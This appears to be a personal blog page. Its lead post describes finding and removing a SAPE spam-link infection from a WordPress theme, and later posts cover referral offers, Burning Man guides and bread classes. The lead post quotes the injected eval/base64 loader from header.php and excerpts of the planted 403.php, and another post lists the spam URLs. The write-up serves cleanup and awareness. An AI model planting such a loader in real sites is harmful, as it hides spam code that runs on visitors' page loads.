Blog Hacked… Cleaned: SAPE eval base64

My WordPress blog had been hacked. It displayed ads for stupid things in the far lower right corner of some blog pages. It looks like it displayed ads on just 1 in 10 of my pages, especially “Category” pages. You might want to take a peek on your own WordPress blog to make sure it hasn’t happened to you.

Here’s where the bad code was and how I fixed it.

The header.php file of my theme had been altered. It began:

<?define('USE_DIRA', '/blog/wp-content/themes/default/images/'); @eval(@base64_decode("ZnVuY3Rpb24gY2FsbGJhY2soJGNoZWUpe3JlcXVpcmUoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS5VU0VfRElSQS4iNDAzLnBocCIpO3JldHVybiAoJGNoZWUpO31vYl9zdGFydCgiY2FsbGJhY2siKTs="));?>

That code was obviously running code in my /blog/wp-content/themes/default/images/ directory.

Curiously, the “modified date” on the header.php file must have been hacked. I know this because the file has a “last modifed” date of April 2009, however the backup of my website in October 2010 doesn’t have the spamming code. Therefore, the hacked code must have been added more recently.

2 files had been added to the /blog/wp-content/themes/default/images/ directory on the blog:
403.php
links.db

Here are the most suspicious parts of 403.php

define('_SAPE_USER', '466c19cd8253185aebaab9f182431010');
...
eval(@base64_decode("JGJvdGlwcyA9IGFycmF5KAkN

“SAPE” is a known malware (via)

You should never have any “eval base64” code in your WordPress installation. It’s almost always some piece of code trying to hide itself.
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I removed the malicious code from my header.php and deleted 403.php and links.db from the default theme. Done.
Update: read the comments!

Blog Hacked by Spammers

Darn it, this blog, Lee.org was hacked by spammers. On about 1 in 10 page loads to some of my Category pages, I see links at the very bottom of the blog page to places like this:

http://trixi.com.uaSPAM/index.php?categoryID=1485
playstation 2 киев

and

http://atlantika.com.uaSPAM/brands/43/
muscletech атлантика Элитный салон Стелла предоставляет тонизирующий
http://body.com.uaSPAM
эротический массаж
недорого

I inserted the word “SPAM” to obfuscate it.

I’m working at finding the rogue code now.

Looking for Radiation Therapy Help

I am considering a change of career to become a radiation therapist or similar medical technician. If you know about this field, I would be indebted to you if you’d let me speak to you about it.

AT&T U-Verse Signup Discount

Update 12-1-11: This program is permanently on hold as I don’t have AT&T residential service anymore.

If you are signing up for new AT&T services, I’ll split the referral fee I get with you via the Rewards for Referrals program!

AT&T will send you a gift card for $25 for each service you sign up for of  U-Verse TV, U-Verse high speed internet, or U-Verse voice! AT&T will send me a gift card too, because, well we’re friends!

Here’s how to do it:

  1. Go to this page to tell me your name and email address
  2. In a day or so AT&T will send you an email indicating that I nominated you for the referral program.
  3. Go ahead and sign up for the AT&T services you were going to sign up for
  4. Email me your new U-Verse account number. My email address is Lee at Lee daht org.

That’s it. In about 6 weeks AT&T will send both you and I a gift card for $25 for each service you signed up for… up to $75 if you sign up for all 3 U-Verse services!

You can find out all the details about the program at refer.att.com

Oh and if you sign up for regular AT&T high speed internet, or wireless, or DirectTV, or home telephone service, AT&T will give me $25… and I’ll split it with you… I’ll Paypal you $12.50.

Burning Man 2011 Resource Guide — Part 3 of 3

Phew! What a list! Here is part 3 of 3 of the Burning Man 2011 Resource Guide. You should start with part 1

Services

Continue reading ‘Burning Man 2011 Resource Guide — Part 3 of 3’ »

Burning Man 2011 Resource Guide — Part 2 of 3

Part 2 of 3 of the Burning Man 2011 Resource Guide. Start with part 1

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Playa Wear

Continue reading ‘Burning Man 2011 Resource Guide — Part 2 of 3’ »

Burning Man 2011 Resource Guide — Part 1 of 3

Every year Burning Man puts out a guide for buying supplies and such. This year’s list is pretty darn huge so I’ve split it into 3 parts. Here you go!  You can  find the original listing here.

Be sure to check out the 2010 guide.

Continue reading ‘Burning Man 2011 Resource Guide — Part 1 of 3’ »

Photos from the WhatWillYouLearn Bread event

Hurray for Bread!

Scoring the tops before they go in... for style points!

All the students' bread coming out of the oven!

Tasty success!

Real Bread in 10 Minutes in June!

After the wildly successful bread classes at IUH, Maker Faire, and WhatWillYouLearn, I’m having another bread baking workshop. Sign up and put on your calendar!

Real Bread in 10 Minutes, Saturday June 25th 2011 10am-1pm
Learn how to make fantastic home made bread that is easier, less expensive, faster and better than going to the store!

Sign up by sending me an email at “Lee at Lee dat org” or sign up on Skillshare.com

Update: I’ve added a second date to the class, for weekday people!
Real Bread in 10 Minutes, Tuesday June 28th 2011 7pm-10pm

Real Bread in 10 Minutes on Skillshare.com

About the Class
Making bread is easier, faster and more flexible than you thought. You can make fantastic bread every day inexpensively with less than 10 minutes effort, including cleanup! In this class, you’ll learn techniques to minimize the ordinary and maximize the extraordinary parts of making all kinds of bread at home. We’ll talk about things like: instant yeast vs sourdough, refrigerated dough, crust, crumb, shaping, amendments, the chemistry and biology of bread, and the thousands of varieties of this staple food. Once you have the foundations, you’ll see bread recipes as suggestions instead of steps to be followed. The sky is the limit! While our bread bakes, we’ll make our own specialty butter! You will eat and bring home what we make in class.

Teacher
Lee Sonko
San Francisco, CA
Website
Lee Sonko is an entrepreneur, educator, machine artist, organizer, hacker, geek and baker. Those attributes often team up in his life to help explore the world. He is a founding member of SWARM, a San Francisco based mechatronic art robot group. He is also a member of the Flaming Lotus Girls and is the Head of the Kinetics and Electronics Department at The Crucible in Oakland. Lee’s love affair with good bread goes back as long as he can remember. Making and eating bread is his daily reminder of the simplicity and purity of the experience of creation.

Creating Reuben Margolin’s Nebula – Part 3 – aaaaah!

Wherein The Nebula Crew form alliances and someone is voted off the island.

Oh my Oh my Oh my Oh my Oh my!
Art. Engineering. Drama.

It will take nerves of nylon coated stainless steel to pull this one off.

Nebula video – Part 3 of 4.

Watch parts one and two first!